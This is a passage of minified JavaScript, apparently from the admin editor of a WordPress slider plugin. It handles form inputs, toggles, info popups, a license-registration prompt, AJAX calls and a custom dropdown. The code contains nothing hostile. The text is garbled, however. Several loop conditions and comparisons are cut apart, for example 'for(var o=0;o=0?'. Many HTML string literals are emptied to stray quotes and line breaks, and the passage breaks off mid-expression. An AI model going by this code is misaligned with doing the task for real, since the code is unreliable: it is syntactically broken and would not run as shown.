0!==e.val&&null!=a&&a.length>0&&(e.val=e.val.replace("*val*",e.dep),(void 0!==e.when&&e.dep==e.when||void 0!==e.whennot&&e.dep!=e.whennot||void 0===e.when&&void 0===e.whennot)&&("checkbox"===a[0].type?a.checked="false"!==e.val&&!1!==e.val:a.val(e.val))),a.trigger("change")}}},RVS.F.setUnsetHelp=function(e,t,i,a){if(null!=e){var r="";i=void 0===i?"showhide_hidden":i,RVS.S.setUnsetClasses[i]=RVS.S.setUnsetClasses[i]||[];for(var o=0;o=0?(a=a.replace("!!",""),e.value!==a?(RVS.F.setUnsetHelp(t,"remove",void 0,"show"),RVS.F.setUnsetHelp(i,"add",void 0,"hide")):(RVS.F.setUnsetHelp(t,"add",void 0,"hide"),RVS.F.setUnsetHelp(i,"remove",void 0,"show"))):e.value===a?(RVS.F.setUnsetHelp(t,"remove",void 0,"show"),RVS.F.setUnsetHelp(i,"add",void 0,"hide")):(RVS.F.setUnsetHelp(t,"add",void 0,"hide"),RVS.F.setUnsetHelp(i,"remove",void 0,"show"))},RVS.F.showHideGroups=function(e){void 0!==e.val&&(e.show=e.show.split("*val*").join(e.val).split(" ").join(""),e.hide=e.hide.split("*val*").join(e.val).split(" ").join("")),""!==e.show&&""!==e.hide&&requestAnimationFrame(function(){"hide"===e.showprio?(jQuery(e.show).show(),jQuery(e.hide).hide()):(jQuery(e.hide).hide(),jQuery(e.show).show())})},RVS.F.updateEasyInput=function(e){e.nval="false"!==e.nval&&("true"===e.nval||e.nval),e.path=void 0===e.path?"settings.":e.path;var t=void 0,i="",a=e.el.type,r=e.el.dataset;switch(a){case"checkbox":case"text":case"textarea":case"select-one":case"select-multiple":if(e.multiselection)for(var o in RVS.selLayers)RVS.selLayers.hasOwnProperty(o)&&(i=void 0===e.nval?RVS.F.getDeepVal({root:e.root,path:e.path+RVS.selLayers[o]+"."+e.el.dataset.r}):e.nval,t=null==t||t==i?i:void 0!==r.multiplaceholder?r.multiplaceholder:"");else t=void 0===e.nval?RVS.F.getDeepVal({root:e.root,path:e.path+e.el.dataset.r}):e.nval;if(void 0===t&&void 0!==e.el.dataset.default&&(t=e.el.dataset.default),"select-one"===a)e.el.value=t,jQuery(e.el).ddTP("change");else if("select-multiple"===a&&void 0!==t){Array.isArray(t)||(t=t.split(","));for(var s=0;s=0;jQuery(e.el).ddTP("change")}else"checkbox"===a?e.el.checked=void 0===t?void 0:"false"!==t&&!1!==t:(e.el.value=t,e.el.history=e.el.value);void 0===r.unselect&&void 0===r.select||RVS.F.setUnsetSelected({unselect:r.unselect,select:r.select,val:e.el.value,rval:r.rval,prval:r.prval,prvalif:r.prvalif}),"layer_action_type"===e.el.id&&(e.el.value=RVS_LANG["layeraction_"+e.el.value]),void 0!==e.el.value&&"undefined"!==e.el.value||(e.el.value=""),"text"===a&&e.el.className.indexOf("my-color-field")>=0&&jQuery(e.el).rsColorPicker("refresh");break;case"radio":if(e.multiselection)for(var o in RVS.selLayers)RVS.selLayers.hasOwnProperty(o)&&(i=void 0===e.nval?e.el.value===RVS.F.getDeepVal({root:e.root,path:e.path+RVS.selLayers[o]+"."+e.el.dataset.r}):e.nval,t=null==t||t==i?i:"");else t=void 0===e.nval?e.el.value===RVS.F.getDeepVal({root:e.root,path:e.path+e.el.dataset.r}):e.nval;e.el.checked=t,void 0===r.unselect&&void 0===r.select||e.el.checked.checked&&RVS.F.setUnsetSelected({unselect:r.unselect,select:r.select,val:e.el.checked,rval:r.rval,prval:r.prval,prvalif:r.prvalif})}},RVS.F.updateEasyInputs=function(e){e.path=void 0===e.path?"settings.":e.path,jQuery(e.container).find(".easyinit").each(function(t){RVS.F.updateEasyInput({el:this,path:e.path,multiselection:e.multiselection,root:e.root}),("init"===e.trigger||e.visualUpdate)&&("init"===e.trigger&&this.dispatchEvent(new Event("init",{bubbles:!0})),"checkbox"===this.type&&RVS.F.turnOnOffVisUpdate({input:this}))})},RVS.F.getDeepValue=function(e,t){if("string"==typeof t&&(t=t.split(".")),t.length>1){var i=t.shift();return e.hasOwnProperty(i)?RVS.F.getDeepValue(e[i],t):void 0}return e.hasOwnProperty(t[0])?e[t[0]]:void 0},RVS.F.writeDeepPath=function(e,t,i){if("string"==typeof t){var a=t.split("."),r=a.length,o=r-1,s=e;if(r)for(var l=0;l=0&&(void 0===RVS.S.actionTrgtLayerId||"none"===RVS.S.actionTrgtLayerId)))return RVS.F.getDeepValue(void 0===e.root?RVS.SLIDER:e.root,RVS.F.getConcVals(e.path,void 0===e.screen?RVS.screen:e.screen))},RVS.F.minMaxCheck=function(e){return e.v="wrong"!==e.v&&void 0!==e.max?Math.min(e.v,e.max):e.v,e.v="wrong"!==e.v&&void 0!==e.min?Math.max(e.v,e.min):e.v,e.v},RVS.F.checkNumInput=function(e){var t=RVS.F.isNumeric(e.val),i=t?e.val:e.val.replace(/[^0-9\.\-]+/g,""),a=t?"":e.val.replace(/[0-9\.\-]+/g,""),r=void 0!==e.history?e.history.replace(/\d+/,""):"px",o=void 0!==e.allowed?e.allowed.toLowerCase().split(","):["px"],s="";if(i=""===i?"wrong":i,a=a.toLowerCase(),jQuery.inArray("random",o)>=0&&"{"===a[0]&&"}"===a[a.length-1]||jQuery.inArray("cycle",o)>=0&&"["===a[0]&&"]"===a[a.length-1]||jQuery.inArray("dir",o)>=0&&"("===(""+e.val)[0]&&")"===(""+e.val)[(""+e.val).length-1])return e.val=e.val.replace(/[^[\d||%||(||)||\-||{||}||.||,||\[||\]]+/g,""),e.val;if(jQuery.inArray("#/#",o)>=0&&"#"===a[0]&&"#"===a[a.length-1]&&"/"===e.val[2])return e.val;for(var l in o)o.hasOwnProperty(l)&&(a!=o[l]&&a!="-"+o[l]||(s=o[l]));return"wrong"===i&&""===s&&e.val.length>0?"badvalue":(i="wrong"===i?0:i,"%"===s||"px"===s||"ms"===s||"deg"===s||"chars"===s||"words"===s||"char"===s||"-%"===s||"-px"===s||"-ms"===s||"-deg"===s||"x"===s||"x"===s?RVS.F.minMaxCheck({v:i,min:e.min,max:e.max})+s:""!==s?s.toLowerCase():e.val.length<=1||e.val==i?jQuery.inArray("none",o)>=0&&0===i?"none":(r=jQuery.inArray(r,o)>=0&&("px"===r||"%"===r||"ms"===r||"deg"===r||"char"===r||"chars"===r||"words"===r||"x"===s||"x"===s)?r:jQuery.inArray("px",o)>=0?"px":jQuery.inArray("ms",o)>=0?"ms":jQuery.inArray("%",o)>=0?"%":jQuery.inArray("deg",o)>=0?"deg":jQuery.inArray("chars",o)>=0?"chars":jQuery.inArray("words",o)>=0?"words":jQuery.inArray("x",o)>=0?"x":"",RVS.F.minMaxCheck({v:i,min:e.min,max:e.max})+r):"badvalue")},RVS.DOC.on("change init update focus",".tos2, .basicinput, .scblockinput, .slideinput, .sliderinput, .globalinput, .layerinput, .navinput, .navstyleinput, .indeplayerinput, .actioninput, .targetlayeractioninput",function(e){var t=e.currentTarget,i=t.dataset,a="checkbox"===t.type?this.checked:this.value;if(i.numeric){if("badvalue"===(a=RVS.F.checkNumInput({val:a,allowed:i.allowed,history:i.history,min:i.min,max:i.max})))return void t.classList.add("badvalue");t.classList.remove("badvalue"),t.value=a,i.history=t.value}if("true"===i.sanitize&&(a=RVS.F.sanitize_input(a)),void 0!==t.type&&t.type.indexOf("select")>=0&&(void 0===i.select2rsId&&(" "+t.className).indexOf(" tos2")>=0&&(t.className.indexOf("wpml_lang_selector")>=0&&jQuery(t).ddTP({placeholder:"Select From List",pre:'',preData:"src"}),jQuery(t).ddTP({placeholder:(" "+t.className).indexOf(" searchbox")>=0?"Enter or Select":"Select From List"})),"select-multiple"===t.type))for(var r in a=[],t.selectedOptions)t.selectedOptions.hasOwnProperty(r)&&a.push(t.selectedOptions[r].value);switch(void 0===i.showhide&&void 0===i.show&&void 0===i.hide||"radio"===t.type&&!t.checked||RVS.F.triggerShowHideDep(t,a),void 0===i.unselect&&void 0===i.select||"radio"===t.type&&!t.checked||RVS.F.setUnsetSelected({unselect:i.unselect,select:i.select,val:a,rval:i.rval,prval:i.prval,prvalif:i.prvalif}),void 0===i.setclasson&&void 0===i.class||("radio"!==t.type||t.checked)&&RVS.F.setUnsetClass({container:"body"===i.setclasson?document.body:document.getElementById(i.setclasson),class:i.class,inversclass:i.inversclass,val:a,rval:i.rval}),void 0===i.disable&&void 0===i.enable||("radio"!==t.type||t.checked)&&RVS.F.setEnableDisable({disable:i.disable,enable:i.enable,switch:"switch"===i.disableenable,val:a}),void 0===i.available&&void 0===i.unavailable||("radio"!==t.type||t.checked)&&RVS.F.setUnAvailable({unavailable:i.unavailable,available:i.available,val:a}),void 0!==i.change&&(void 0!==i.changewhen&&(a===i.changewhen||!0===a&&"true"===i.changewhen||!1===a&&"false"===i.changewhen)&&RVS.F.setInputTo({field:i.change,val:i.changeto,path:i.path}),void 0!==i.changewhennot&&a!==i.changewhennot&&(!1!==a&&"false"!==a||i.changewhennot+""!="false")&&(!0!==a&&"true"!==a||i.changewhennot+""!="true")&&RVS.F.setInputTo({field:i.change,val:i.changeto,path:i.path})),void 0!==i.updatetext&&(document.getElementById(i.updatetext.replace("#","")).innerText=a),e.type){case"change":if(void 0!==i.r){if(void 0!==i.valcheck&&RVS.F.hasOwnProperty(i.valcheck)&&"function"==typeof RVS.F[i.valcheck]){a=RVS.F[i.valcheck](a);i.numeric&&(a=RVS.F.checkNumInput({val:a,allowed:i.allowed,history:i.history,min:i.min,max:i.max})),this.value=a,i.history=a}(" "+this.className).indexOf(" scblockinput")>=0&&RVS.F.writeDeepPath(RVS.SC.BLOCK,i.r,a),(" "+this.className).indexOf(" slideinput")>=0&&RVS.F.updateSliderObj({path:RVS.S.slideId+".slide."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" navstyleinput")>=0&&(RVS.F.updateSliderObj({path:i.r+"-def",val:!0}),jQuery("#"+e.currentTarget.id+"-def").prop("checked","checked"),RVS.F.turnOnOff(RVS.F.closestClass(document.getElementById(e.currentTarget.id+"-def"),"tponoffwrap"),!1),RVS.F.updateSliderObj({path:i.r,val:a,evt:i.evt,evtparam:i.evtparam})),(" "+this.className).indexOf(" globalinput")>=0&&RVS.F.updateSliderObj({path:i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" sliderinput")>=0&&RVS.F.updateSliderObj({path:"settings."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" layerinput")>=0&&"true"!==i.updateviaevt&&1!=i.updateviaevt&&RVS.F.updateLayerObj({path:i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" actioninput")>=0&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+"."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" targetlayeractioninput")>=0&&(void 0!==RVS.S.actionTrgtLayerId&&(""+RVS.S.actionTrgtLayerId).indexOf("static-")>=0?RVS.F.updateSliderObj({path:RVS.SLIDER.staticSlideId+".layers."+(""+RVS.S.actionTrgtLayerId).replace("static-","")+"."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}):RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.actionTrgtLayerId+"."+i.r,val:a,evt:i.evt,evtparam:i.evtparam})),(" "+this.className).indexOf(" indeplayerinput")>=0&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" presetToCustom")>=0&&(jQuery("#sr_"+i.evtparam+"_style_preset").val("").ddTP("change"),RVS.SLIDER.settings.nav[i.evtparam].preset=""),void 0!==this.dataset.triggerinp&&RVS.F.triggerInput({inp:this.dataset.triggerinp,dep:a,val:this.dataset.triggerinpval,when:this.dataset.triggerwhen,whennot:this.dataset.triggerwhennot})}void 0!==i.evt&&(" "+this.className).indexOf(" callEvent")>=0&&jQuery(document.body).trigger(i.evt,{event:e,val:a,eventparam:i.evtparam});break;case"focusin":void 0!==i.focusevt&&RVS.DOC.trigger(i.focusevt,{event:e,val:a,eventparam:i.focusevtparam}),void 0!==i.responsive&&(RVS.S.respInfoBar.visible=!0,RVS.F.showFieldResponsiveValues(this)),"true"==i.cursortoclick?window.setTimeout(function(){!function(e){if("number"==typeof e.selectionStart)e.selectionStart=e.selectionEnd=e.value.length;else if(void 0!==e.createTextRange){e.focus();var t=e.createTextRange();t.collapse(!1),t.select()}}(this)},1):jQuery(this).trigger("select")}}),RVS.F.showInfo=function(e){if(!("register"==e.type&&jQuery("#rbm_activate_slider").length>0)){var t="register"==e.type?e.content:'info';"info"==e.type&&(t='info'),"goodtoknow"==e.type&&(t='mode_comment'),"warning"==e.type&&(t='close'),"success"==e.type&&(t='done'),e.showdelay=null!=e.showdelay?e.showdelay:0,e.hidedelay=null!=e.hidedelay?e.hidedelay:0,0===jQuery("#rb_maininfo_wrap").length&&jQuery(document.body).append('
'),0==jQuery("#eg-toolbox-wrapper").length&&jQuery("#rb_maininfo_wrap").append('
').appendTo(jQuery(document.body)),"register"===e.type?jQuery("#eg-toolbox-wrapper").append(t):jQuery("#eg-toolbox-wrapper").append('
'+t+e.content+"
");var i=jQuery("#eg-toolbox-wrapper").find(".eg-toolbox.newadded");i.removeClass("newadded"),tpGS.gsap.fromTo(i,.5,{y:-50,autoAlpha:0,transformOrigin:"50% 50%",transformPerspective:900,rotationX:-90},{autoAlpha:1,y:0,rotationX:0,ease:"back.out",delay:e.showdelay}),"event"!=e.hideon?("register"==e.type?i.find(".rbmas_close").on("click",function(){tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,onComplete:function(){i.remove()}})}):i.on("click",function(){tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,onComplete:function(){i.remove()}})}),0!=e.hidedelay&&"click"!=e.hideon&&tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,delay:e.hidedelay+e.showdelay,onComplete:function(){i.remove()}})):jQuery("#eg-toolbox-wrapper").on(e.event,function(){tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,onComplete:function(){i.remove()}})})}},RVS.F.showRegisterSliderInfo=function(){void 0===window.rbmContent&&(window.rbmContent='
',window.rbmContent+='
close
',window.rbmContent+='
',window.rbmContent+='\t
'+RVS_LANG.active_sr_to_access+"
",window.rbmContent+='\t
check'+RVS_LANG.active_sr_tmp_obl+"
",window.rbmContent+='\t
check'+RVS_LANG.addons+"
",window.rbmContent+='\t
check'+RVS_LANG.active_sr_inst_upd+"
",window.rbmContent+='\t
check'+RVS_LANG.active_sr_one_on_one+"
",window.rbmContent+='\t
',window.rbmContent+='\t\t
vpn_key'+(RVS.ENV.selling?RVS_LANG.ihavelicensekey:RVS_LANG.ihavepurchasecode)+"
",window.rbmContent+='\t\t
shopping_cart'+(RVS.ENV.selling?RVS_LANG.getlicensekey:RVS_LANG.getpurchasecode)+"",window.rbmContent+="\t
",window.rbmContent+="
",window.rbmContent+='
',window.rbmContent+='\t
'+(RVS.ENV.selling?RVS_LANG.active_sr_plg_activ_key:RVS_LANG.active_sr_plg_activ)+"
",window.rbmContent+='\t',window.rbmContent+='\tvpn_key'+(RVS.ENV.selling?RVS_LANG.registerKey:RVS_LANG.registerCode)+"",window.rbmContent+='\t
',window.rbmContent+='\t\t
'+(RVS.ENV.selling?RVS_LANG.onelicensekey:RVS_LANG.onepurchasekey)+"
",window.rbmContent+='\t\t
'+(RVS.ENV.selling?RVS_LANG.onelicensekey_info:RVS_LANG.onepurchasekey_info)+"
",window.rbmContent+='\t\t
shopping_cart'+(RVS.ENV.selling?RVS_LANG.getlicensekey:RVS_LANG.getpurchasecode)+"",RVS.ENV.selling&&(window.rbmContent+='person'+RVS_LANG.membersarea+""),window.rbmContent+="\t
",window.rbmContent+="
",window.rbmContent+='
',window.rbmContent+="
",RVS.DOC.on("click","#rbmas_active_plugin_now",function(){return jQuery("#rbm_activate_slider").addClass("rbmas_show_activate"),!1})),RVS.F.showInfo({content:window.rbmContent,type:"register",showdelay:0,hidedelay:0,hideon:"",event:""})},RVS.F.showWaitAMinute=function(e){var t=jQuery("#waitaminute");if(RVS.S.wamCounter=void 0===RVS.S.wamCounter?0:RVS.S.wamCounter,null!=e.delay&&(RVS.S.wamCounter++,tpGS.gsap.to(t,.3,{autoAlpha:1,ease:"power3.inOut"}),tpGS.gsap.set(t,{display:"block"}),setTimeout(function(){RVS.S.wamCounter--,0===RVS.S.wamCounter&&tpGS.gsap.to(t,.3,{autoAlpha:0,ease:"power3.inOut",onComplete:function(){tpGS.gsap.set(t,{display:"block"})}})},e.delay)),null!=e.fadeIn&&(t&&t.length>0&&(tpGS.gsap.to(t,e.fadeIn/1e3,{autoAlpha:1,ease:"power3.inOut"}),tpGS.gsap.set(t,{display:"block"})),RVS.S.wamCounter++),null!=e.fadeOut&&(RVS.S.wamCounter--,RVS.S.wamCounter=RVS.S.wamCounter<0?0:RVS.S.wamCounter,RVS.S.wamCounter<=0&&t&&t.length>0&&tpGS.gsap.to(t,e.fadeOut/1e3,{autoAlpha:0,ease:"power3.inOut",onComplete:function(){tpGS.gsap.set(t,{display:"block"})}})),null!=e.text)switch(e.text){case"progress1":break;default:t.html('
'+e.text+"
")}else t.html('
'+RVS_LANG.please_wait_a_moment+"
");return!0},RVS.F.turnOnOff=function(e,t){var i=e.getElementsByTagName("INPUT")[0];!0===i.checked?t?(i.checked=!1,i.dispatchEvent(new Event("change",{bubbles:!0})),e.classList.add("off")):e.classList.remove("off"):t?(i.checked=!0,i.dispatchEvent(new Event("change",{bubbles:!0})),e.classList.remove("off")):e.classList.add("off")},RVS.F.turnOnOffVisUpdate=function(e){e.btn=void 0===e.btn?RVS.F.closestClass(e.input,"tponoff_inner"):e.btn,null!==e.btn&&void 0!==e.btn&&(e.wrap=RVS.F.closestClass(e.btn,"tponoffwrap"),e.input=void 0===e.input?e.btn.getElementsByTagName("INPUT")[0]:e.input,!0===e.input.checked?(e.wrap.classList.add("on"),e.wrap.classList.remove("off")):(e.wrap.classList.add("off"),e.wrap.classList.remove("on")))},RVS.F.initOnOff=function(e){"document"===(e=void 0===e?"document":void 0===e[0]?e:e[0])&&void 0===RVS.S.initOnOffList.document&&(RVS.S.initOnOffList.document=!0),"document"!==e&&void 0===RVS.S.initOnOffList[e.id]&&(RVS.S.initOnOffList[e.id]=e),!0!==RVS.S.initOnOffListRaff&&(RVS.S.initOnOffListRaff=!0,requestAnimationFrame(function(){if(void 0!==RVS.S.initOnOffList.document)RVS.F.initOnOffRAF(document);else for(var e in RVS.S.initOnOffList)RVS.S.initOnOffList.hasOwnProperty(e)&&RVS.F.initOnOffRAF(RVS.S.initOnOffList[e]);RVS.S.initOnOffList={},delete RVS.S.initOnOffListRaff}))},RVS.F.initOnOffRAF=function(t){var i=t.querySelectorAll("input[type='checkbox']");for(var a in i)if(i.hasOwnProperty(a)&&-1==i[a].className.indexOf("simplechkbx")&&-1==i[a].className.indexOf("tponoff")){i[a].className+=" tponoff";var r=RVS.F.cE({cN:"tponoffwrap"}),o=RVS.F.cE({cN:"tponoff_inner"}),s=RVS.F.cE({cN:"tponoff_on"}),l=RVS.F.cE({cN:"tponoff_off"});s.textContent="On",l.textContent="Off",o.appendChild(l),o.appendChild(s),r.appendChild(o),r=i[a].parentNode.insertBefore(r,i[a]),s.appendChild(i[a])}void 0===e&&(e=!0,RVS.DOC.on("click",".tponoffwrap",function(){RVS.F.turnOnOff(this,!0)})),RVS.F.updateAllOnOff()},RVS.F.updateAllOnOff=function(){void 0===RVS.S.updateingAllOnOff&&(RVS.S.updateingAllOnOff=!0,requestAnimationFrame(function(){jQuery(".tponoffwrap").each(function(){RVS.F.turnOnOff(this,!1)}),delete RVS.S.updateingAllOnOff}))},RVS.F.getAllShortCodes=function(){console.log(""),console.log("%c ------- INSERT SHORTCODE PARAMETERS INTO TEMPLATE LIBRARY --------","background:#222;color:#bada55"),console.log(""),jQuery(".slider_slug").find("input").each(function(){var e,t="";void 0!==(e=RVS.SC.parseShortCode(this.value))&&void 0!==e.attributes&&(void 0!==(e=e.attributes).usage&&(t+=' usage="'+e.usage+'"'),void 0!==e.modal&&(t+=' modal="'+e.modal+'"'),void 0!==e.offset&&(t+=' offset="'+e.offset+'"'),void 0!==e.layout&&(t+=' layout="'+e.layout+'"'),void 0!==e.zindex&&(t+=' zindex="'+e.zindex+'"'),""!==t&&void 0!==t&&(console.log("%c==== "+e.alias+" ==== ","background:#222;font-size:13px; line-height:15px;"),console.log("%c"+t,"background:#222;color:#c0392b;font-size:10px; line-height:15px;"),console.log("")))}),console.log("%c -------------------------------------------------------------------","background:#222;color:#bada55")},RVS.F.ajaxRequest=function(e,t,i,a,r,o,s){var l={action:RVS.ENV.ajax_pre+"_ajax_action",client_action:e,nonce:RVS.ENV.nonce,data:t};y(),h(),S(),void 0===a&&(void 0!==o?RVS.F.showWaitAMinute({fadeIn:500,text:o}):RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.please_wait_a_moment})),jQuery.ajax({type:"post",url:ajaxurl,dataType:"json",data:l,success:function(t){if(void 0!==a||t.is_redirect||RVS.F.showWaitAMinute({fadeOut:500}),f(),!t)return RVS.F.showErrorMessage("Empty ajax response!"),!1;if(-1==t)return RVS.F.showErrorMessage("ajax error!!!"),!1;if(0==t)return RVS.F.showErrorMessage("ajax error, action: "+e+" not found"),!1;if(null==t.success)return RVS.F.showErrorMessage("The 'success' param is a must!"),!1;if(0==t.success){if(void 0===r)return RVS.F.showErrorMessage(t.message),!1;"function"==typeof i&&i(t)}else"function"==typeof i&&i(t),t.message&&!0!==s&&R(t.message),t.is_redirect&&(location.href=t.redirect_url)},error:function(t,i,r){switch(void 0===a&&RVS.F.showWaitAMinute({fadeOut:500}),f(),e){case"preview_slider":jQuery("#rbm_preview .rbm_close").trigger("click"),RVS.F.showInfo({content:RVS_LANG.previewnotworking,type:"info",showdelay:0,hidedelay:5,hideon:"",event:""});break;case"check_system":RVS.F.showInfo({content:RVS_LANG.checksystemnotworking,type:"info",showdelay:0,hidedelay:5,hideon:"",event:""});break;default:"parsererror"==i&&RVS.F.debug(t.responseText),RVS.F.showErrorMessage("Ajax Error!!! "+i)}}})},RVS.F.showErrorMessage=function(e){RVS.F.showInfo({content:e,type:"warning",showdelay:0,hidedelay:3,hideon:"",event:""}),b()},RVS.F.setErrorMessageID=function(e){t=e},RVS.F.setSuccessMessageID=function(e){i=e},RVS.F.hideSuccessMessage=function(){i?(jQuery("#"+i).hide(),i=null):jQuery("#success_message").slideUp("slow").fadeOut("slow"),b()},RVS.F.getNewGlobalObject=function(e){var t={};return e=null==e?{}:e,t.version=t.version<"6.0.0"?"6.0.0":t.version,t.permission=g(e.permission,"admin"),t.lang=g(e.lang,"default"),t.allinclude=m(g(e.allinclude,!0)),t.highContrast=m(g(e.highContrast,!1)),t.templateGuide=m(g(e.templateGuide,!0)),t.moduleGuide=m(g(e.moduleGuide,!0)),t.includeids=g(e.includeids,""),t.script=g(e.script,{footer:!0,defer:!0,full:!1,async:!0,ytapi:!0}),t.imgcrossOrigin=g(e.imgcrossOrigin,"unset"),t.lazyloaddata=g(e.lazyloaddata,""),t.fontdownload=g(e.fontdownload,"off"),t.script.footer=m(t.script.footer),t.script.defer=m(t.script.defer),t.script.async=m(t.script.async),t.script.full=m(t.script.full),t.fontawesomedisable=m(e.fontawesomedisable),t.onedpronmobile=m(e.onedpronmobile),t.forceLazyLoading=g(e.forceLazyLoading,"smart"),t.forceViewport=g(e.forceViewport,!0),t.lazyonbg=g(e.lazyonbg,!1),t.forcedViewportDistance=g(e.forcedViewportDistance,"-200px"),t.internalcaching=m(e.internalcaching),t.tracking=g(e.tracking,"1999-01-01"),t.trackingOnOff="enabled"==t.tracking,t.fonturl=g(e.fonturl,""),t.size=g(e.size,{desktop:1240,notebook:1024,tablet:778,mobile:480}),t.customfonts=g(e.customfonts,""),t.customFontList=g(e.customFontList,[{family:"",url:"",frontend:!1,backend:!0,weights:"200,300,400,500,600,700,800,900"}]),t};var h=function(){a&&jQuery("#"+a).show()},f=function(){a&&(jQuery("#"+a).hide(),a=null)},S=function(){if(r){var e=r.split(",");if(e.length>1)for(var t=0;t1)for(var t=0;t0?(i.value=e,i.style.width=.75*(i.value.length+1)+"em"):i.style.width="0.75em",i},B=function(e,t){return void 0!==e&&void 0!==e.pre?"object"==typeof t?e.pre.replace("#data#",t.data).replace("#style#",t.style):e.pre.replace("#data#",t):void 0},k=function(e,t,i,a,r,o){var s=C({c:"ddTP_S__choice"+(i?" isplaceholder":""),v:e,id:a,iH:t||e,iTB:B(r,o)});if(!i){var l=document.createElement("span");l.className="ddTP_S__choice__remove",l.innerText="x",l.dataset.refid=a,s.appendChild(l)}return s},L=function(){if(null!=a.INFOCUS){var e=window.ddTPcache[a.INFOCUS];a.wrap.classList.remove("ddTP_C--open"),e.container.classList.remove("ddTP_C--open"),e.container.classList.remove("ddTP_C--focus"),null!==a.liSearch&&void 0!==a.liSearch&&(a.liSearch.style.display="none"),tpGS.gsap.set(a.wrap,{display:"none"}),delete a.timeStamp,delete a.INFOCUS,delete a.highlighted,E()}},w=function(){if(void 0!==a.timeStamp&&void 0!==a.INFOCUS&&void 0!==window.ddTPcache[a.INFOCUS]&&void 0!==window.ddTPcache[a.INFOCUS].container){var e=window.ddTPcache[a.INFOCUS].container.getBoundingClientRect();tpGS.gsap.set(a.wrap,{x:e.left+a.drop.offsetWidth>window.innerWidth?e.left+(window.innerWidth-25-(e.left+a.drop.offsetWidth)):e.left,y:window.pageYOffset+e.bottom+a.drop.offsetHeight>window.pageYOffset+window.innerHeight-50?window.pageYOffset+e.top-a.drop.offsetHeight:e.bottom+window.pageYOffset}),requestAnimationFrame(function(){w()})}},I=function(){void 0!==a.highlighted&&null!==a.highlighted&&(a.ul.scrollTop+50>a.highlighted.offsetTop?a.ul.scrollTop=Math.max(0,a.highlighted.offsetTop-100):a.ul.scrollTop-300'+e.group+"",t):(e.c&&(t.className=e.c),e.v&&(t.dataset.val=e.v),e.iTB||e.iTA?t.innerHTML=(void 0===e.iTB?"":e.iTB)+(void 0===e.iT?e.iH:e.iT)+(void 0===e.iTA?"":e.iTA):e.iT?t.innerText=e.iT:e.iH&&(t.innerHTML=e.iH),e.id&&(t.dataset.refid=e.id),void 0!==e.optid&&(t.dataset.optid=e.optid),e.aS&&(t.ariaSelected=e.aS),t)},T=function(e,t,i,r){return C({c:"ddTP_RO"+(void 0===a.highlighted&&e.selected?" ddTP_RO--highlighted":""),v:e.value,id:r,aS:e.selected,iT:void 0===e.text||""===e.text?e.value:e.text,iTB:B(i,_(i,e.dataset,e.value)),optid:t,group:"OPTGROUP"===e.tagName?e.label:void 0})},F=function(e,t){var i,r=window.ddTPcache[e],o=(r.container.getBoundingClientRect(),document.createDocumentFragment()),s="";r.params=void 0===r.params?{}:r.params,r.params.tags="true"==r.sel.dataset.tags||r.params.tags,r.params.search=void 0===r.params.search?(" "+r.sel.className).indexOf(" searchbox")>=0:r.params.search,a.highlighted=void 0,a.timeStamp||(a.searchi.value="",requestAnimationFrame(function(){a.searchi.focus()})),D(),a.wrap.className="ddTP_C ddTP_C--default ddTP_C--open"+(void 0!==r.sel.dataset.theme?" ddTP_C--"+r.sel.dataset.theme:""),r.container.classList.add("ddTP_C--open"),r.container.classList.add("ddTP_C--focus"),a.ul.ariaMultiselectable=r.sel.multiple,a.searchw.style.display=r.sel.multiple||!r.params.search?"none":"block",a.INFOCUS=e,a.ul.innerHTML="",a.searchi.dataset.refid=e,r.params.search&&void 0!==r.params.searchValue&&""!==r.params.searchValue&&(s=r.params.searchValue.toLowerCase()),r.sel.multiple&&(r.params.search||r.params.tags)&&null!==a.liSearch&&void 0!==a.liSearch&&(a.liSearch.style.display="block");var l=-1;for(var n in r.sel.children)if(l++,!(!r.sel.children.hasOwnProperty(n)||"OPTION"!==r.sel.children[n].tagName&&"OPTGROUP"!==r.sel.children[n].tagName||r.sel.children[n].disabled||"OPTION"===r.sel.children[n].tagName&&""!==s&&-1==r.sel.children[n].value.toLowerCase().indexOf(s)&&-1==r.sel.children[n].textContent.toLowerCase().indexOf(s)))if(i=T(r.sel.children[n],l,r.params,e),"OPTGROUP"===r.sel.children[n].tagName)for(var d in o.appendChild(i),l--,r.sel.children[n].children)l++,!r.sel.children[n].children.hasOwnProperty(d)||"OPTION"!==r.sel.children[n].children[d].tagName||r.sel.children[n].children[d].disabled||""!==s&&-1==r.sel.children[n].children[d].value.toLowerCase().indexOf(s)&&-1==r.sel.children[n].children[d].textContent.toLowerCase().indexOf(s)||(i=T(r.sel.children[n].children[d],l,r.params,e),void 0===a.highlighted&&r.sel.children[n].selected&&(a.highlighted=i),o.appendChild(i));else void 0===a.highlighted&&r.sel.children[n].selected&&(a.highlighted=i),o.appendChild(i);if(void 0===a.highlighted&&o.childElementCount>0&&(a.highlighted=o.firstElementChild,I(),a.highlighted.classList.add("ddTP_RO--highlighted")),a.ul.appendChild(o),tpGS.gsap.set(a.wrap,{display:"block",left:0,top:0,position:"absolute",width:"185px"}),void 0===a.timeStamp&&(a.timeStamp=2,I(),requestAnimationFrame(function(){w()})),t&&R(r.rendered,V(r.sel,r.params)),(r.params.tags||r.params.search)&&r.params.searchFocus){var c=r.sel.multiple?r.rendered.getElementsByClassName("ddTP_SCH__field"):a.searchi;null!=c&&c.length>0&&requestAnimationFrame(function(){c[0].focus(),0!==r.params.cursorPosition&&void 